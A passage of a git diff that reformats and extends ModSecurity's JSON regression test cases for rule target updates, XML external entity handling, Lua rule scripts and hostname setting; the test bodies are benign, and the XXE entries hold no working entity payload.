"User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "SecRuleUpdateTargetByTag (4/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRuleUpdateTargetByTag test !ARGS:/ke/", "SecRule ARGS \"@contains value\" \"id:1,pass,t:trim,tag:'test',deny\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRuleUpdateTargetByTag Test (5/6) Regex with match anchored at beginning of Subject", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&ref=something", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 200 - }, - "rules":[ - "SecRuleEngine On", - "SecRuleUpdateTargetByTag test !ARGS:'/(?!ref)/'", - "SecRule ARGS \"@contains value\" \"id:1,pass,t:trim,tag:'test',deny\"" - ] + "enabled": 1, + "version_min": 300000, + "title": "SecRuleUpdateTargetByTag Test (5/6) Regex with match anchored at beginning of Subject", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&ref=something", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRuleUpdateTargetByTag test !ARGS:'/(?!ref)/'", + "SecRule ARGS \"@contains value\" \"id:1,pass,t:trim,tag:'test',deny\"" + ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRuleUpdateTargetByTag Test (6/6) Regex with match anchored at beginning of Subject", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&ref=something", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 200 - }, - "rules":[ - "SecRuleEngine On", - "SecRuleUpdateTargetByTag test !ARGS:'/^ref/'", - "SecRule ARGS \"@contains something\" \"id:1,pass,t:trim,tag:'test',deny\"" - ] + "enabled": 1, + "version_min": 300000, + "title": "SecRuleUpdateTargetByTag Test (6/6) Regex with match anchored at beginning of Subject", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&ref=something", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRuleUpdateTargetByTag test !ARGS:'/^ref/'", + "SecRule ARGS \"@contains something\" \"id:1,pass,t:trim,tag:'test',deny\"" + ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRuleUpdateTargetByTag Test (7/6) Exclusion by full name", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" - }, - "uri":"/?key=value&ref=something", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" - }, - "body":[ - "no need." - ] - }, - "expected":{ - "http_code": 200 - }, - "rules":[ - "SecRuleEngine On", - "SecRuleUpdateTargetByTag test !ARGS:ref", - "SecRule ARGS \"@contains something\" \"id:1,pass,t:trim,tag:'test',deny\"" - ] + "enabled": 1, + "version_min": 300000, + "title": "SecRuleUpdateTargetByTag Test (7/6) Exclusion by full name", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/?key=value&ref=something", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRuleUpdateTargetByTag test !ARGS:ref", + "SecRule ARGS \"@contains something\" \"id:1,pass,t:trim,tag:'test',deny\"" + ] } ] diff --git a/test/test-cases/regression/config-xml_external_entity.json b/test/test-cases/regression/config-xml_external_entity.json index fa0b405fa7..45031fe3a9 100644 --- a/test/test-cases/regression/config-xml_external_entity.json +++ b/test/test-cases/regression/config-xml_external_entity.json @@ -1,25 +1,28 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing SecXMLExternalEntity/XXE 1", - "expected":{ - "debug_log": "Target value: \" jo smith\"" + "enabled": 1, + "version_min": 300000, + "title": "Testing SecXMLExternalEntity/XXE 1", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "162" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "", " &js;", "" ] - }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecXMLExternalEntity Off", - "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500005,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", - "SecRule XML:/bookstore/book[text()] \".*\" \"id:500006,phase:3,t:none,t:lowercase,nolog,pass\"" + "expected": { + "debug_log": "Target value: \" jo smith\"", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecXMLExternalEntity Off", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500005,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule XML:/bookstore/book[text()] \".*\" \"id:500006,phase:3,t:none,t:lowercase,nolog,pass\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing SecXMLExternalEntity/XXE 2", - "expected":{ - "debug_log": "XML: Failed to load DTD: test-cases/data/SoapEnvelope.dtd", - "http_code": 403 + "enabled": 1, + "version_min": 300000, + "title": "Testing SecXMLExternalEntity/XXE 2", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "166" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "", " &js;", "" ] - }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "XML: Failed to load DTD: test-cases/data/SoapEnvelope.dtd", + "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecXMLExternalEntity Off", - "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500005,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", - "SecRule XML:/bookstore/book \".*\" \"id:500006,phase:3,t:none,t:lowercase,nolog,pass,xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'\"", - "SecRule XML \"@validateDTD test-cases/data/SoapEnvelope.dtd\" \"id:500007,phase:3,deny\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecXMLExternalEntity Off", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500005,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule XML:/bookstore/book \".*\" \"id:500006,phase:3,t:none,t:lowercase,nolog,pass,xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'\"", + "SecRule XML \"@validateDTD test-cases/data/SoapEnvelope.dtd\" \"id:500007,phase:3,deny\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing SecXMLExternalEntity/XXE 3", - "expected":{ - "debug_log": "XML Error: No declaration for element bookstore", - "http_code": 403 + "enabled": 1, + "version_min": 300000, + "title": "Testing SecXMLExternalEntity/XXE 3", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "166" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "", " &js;", "" ] - }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "XML Error: No declaration for element bookstore", + "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecXMLExternalEntity On", - "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500005,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", - "SecRule XML:/bookstore/book \".*\" \"id:500006,phase:3,t:none,t:lowercase,nolog,pass,xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'\"", - "SecRule XML \"@validateDTD test-cases/data/SoapEnvelope.dtd\" \"id:500007,phase:3,deny\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecXMLExternalEntity On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500005,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule XML:/bookstore/book \".*\" \"id:500006,phase:3,t:none,t:lowercase,nolog,pass,xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'\"", + "SecRule XML \"@validateDTD test-cases/data/SoapEnvelope.dtd\" \"id:500007,phase:3,deny\"" ] } ] - diff --git a/test/test-cases/regression/debug_log.json b/test/test-cases/regression/debug_log.json index 9e17fac69e..cda25c7d3e 100644 --- a/test/test-cases/regression/debug_log.json +++ b/test/test-cases/regression/debug_log.json @@ -15,8 +15,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -24,33 +24,35 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1=test¶2=test2", + "uri": "/test.pl?param1=test¶2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { - "audit_log": "", "debug_log": ".*", - "error_log": "" + "http_code": 200 }, "rules": [ "SecRuleEngine On", @@ -58,7 +60,6 @@ "SecRule ARGS \"@contains /test.txt\" \"id:4,allow\"", "SecRule ARGS:teste \"@contains /test.txt\" \" id:1,allow,deny\"", "SecRule ARGS \"@contains /test.txt\" \"allow, allow,id:2,deny\"" - ] } ] diff --git a/test/test-cases/regression/directive-sec_rule_script.json b/test/test-cases/regression/directive-sec_rule_script.json index b8eb904759..846fe3d117 100644 --- a/test/test-cases/regression/directive-sec_rule_script.json +++ b/test/test-cases/regression/directive-sec_rule_script.json @@ -1,201 +1,214 @@ [ { - "enabled":1, - "version_min":300000, - "version_max":0, - "resource":"lua", - "title":"Testing action :: SecRuleScript (1/4)", - "client":{ - "ip":"200.249.12.31", - "port":2313 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing action :: SecRuleScript (1/4)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" - }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" - } - }, - "expected":{ - "audit_log":"", - "debug_log":"", - "error_log":"", - "parser_error":"Failed to load script: Failed to compile script 'test-cases/data/match" - }, - "rules":[ + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200, + "parser_error": "Failed to load script: Failed to compile script 'test-cases/data/match" + }, + "rules": [ "SecRuleEngine On", "SecRuleScript test-cases/data/match-ops.lua \"id:1,t:lowercase,t:none\"" ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "resource":"lua", - "title":"Testing action :: SecRuleScript (2/4)", - "client":{ - "ip":"200.249.12.31", - "port":2313 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing action :: SecRuleScript (2/4)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" - }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" - } - }, - "expected":{ - "audit_log":"", - "debug_log":"", - "error_log":"", - "parser_error":"Failed to load script: Failed to compile script " - }, - "rules":[ + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200, + "parser_error": "Failed to load script: Failed to compile script " + }, + "rules": [ "SecRuleEngine On", "SecRuleScript /bin/echo \"id:1,t:lowercase,t:none\"" ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "resource":"lua", - "title":"Testing action :: SecRuleScript (3/4)", - "client":{ - "ip":"200.249.12.31", - "port":2313 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing action :: SecRuleScript (3/4)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" + }, + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" - }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" - } - }, - "expected":{ - "audit_log":"", - "debug_log":"echo 123", - "error_log":"", - "parser_error":"", + "body": [ + "" + ] + }, + "expected": { + "debug_log": "echo 123", "http_code": 404 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRuleScript test-cases/data/match-log.lua \"id:1,t:lowercase,t:none,status:404,deny\"" ] }, { - "enabled":1, - "version_min":300000, - "version_max":0, - "resource":"lua", - "title":"Testing action :: SecRuleScript (4/4)", - "client":{ - "ip":"200.249.12.31", - "port":2313 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing action :: SecRuleScript (4/4)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" - }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" - } - }, - "expected":{ - "audit_log":"", - "debug_log":"Running \\(disruptive\\) action: deny", - "error_log":"", - "parser_error":"", + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Running \\(disruptive\\) action: deny", "http_code": 404 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRuleScript test-cases/data/match.lua \"id:1,t:lowercase,t:none,status:404,deny\"" ] } ] - diff --git a/test/test-cases/regression/fn-setHostname.json b/test/test-cases/regression/fn-setHostname.json new file mode 100644 index 0000000000..8f8d6b2d5f --- /dev/null +++ b/test/test-cases/regression/fn-setHostname.json @@ -0,0 +1,47 @@ +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing function :: setRequestHostName", + "client": { + "ip": "200.249.12.31", + "port": 0 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "www.modsecurity.org", + "Content-Length": "0" + }, + "uri": "/foo?q=attack", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/plain", + "Content-Length": "10" + }, + "body": [ + "denystring" + ] + }, + "expected": { + "debug_log": "[hostname: \"modsecurity.org\"]", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecResponseBodyAccess On", + "SecRule ARGS_GET \"@contains attack\" \"id:1,phase:2,deny\"" + ] + } +] diff --git a/test/test-cases/regression/issue-1152.json b/test/test-cases/regression/issue-1152.json index 54c78f7991..227f08dc05 100644 --- a/test/test-cases/regression/issue-1152.json +++ b/test/test-cases/regression/issue-1152.json @@ -4,7 +4,7 @@ "version_min": 209000, "version_max": -1, "title": "Should libmodsec pass action clear m_actions?", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1152", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1152", "client": { "ip": "200.249.12.31", "port": 2313 @@ -16,8 +16,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -25,18 +25,24 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?foo=bar", + "uri": "/test.pl?foo=bar", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" - } + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] }, "expected": { "http_code": 403 @@ -52,7 +58,7 @@ "version_min": 209000, "version_max": -1, "title": "Should libmodsec pass action clear m_actions?", - "url": "https:\/\/github.com\/SpiderLabs\/ModSecurity\/issues\/1152", + "url": "https://github.com/SpiderLabs/ModSecurity/issues/1152", "client": { "ip": "200.249.12.31", "port": 2313 @@ -64,8 +70,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 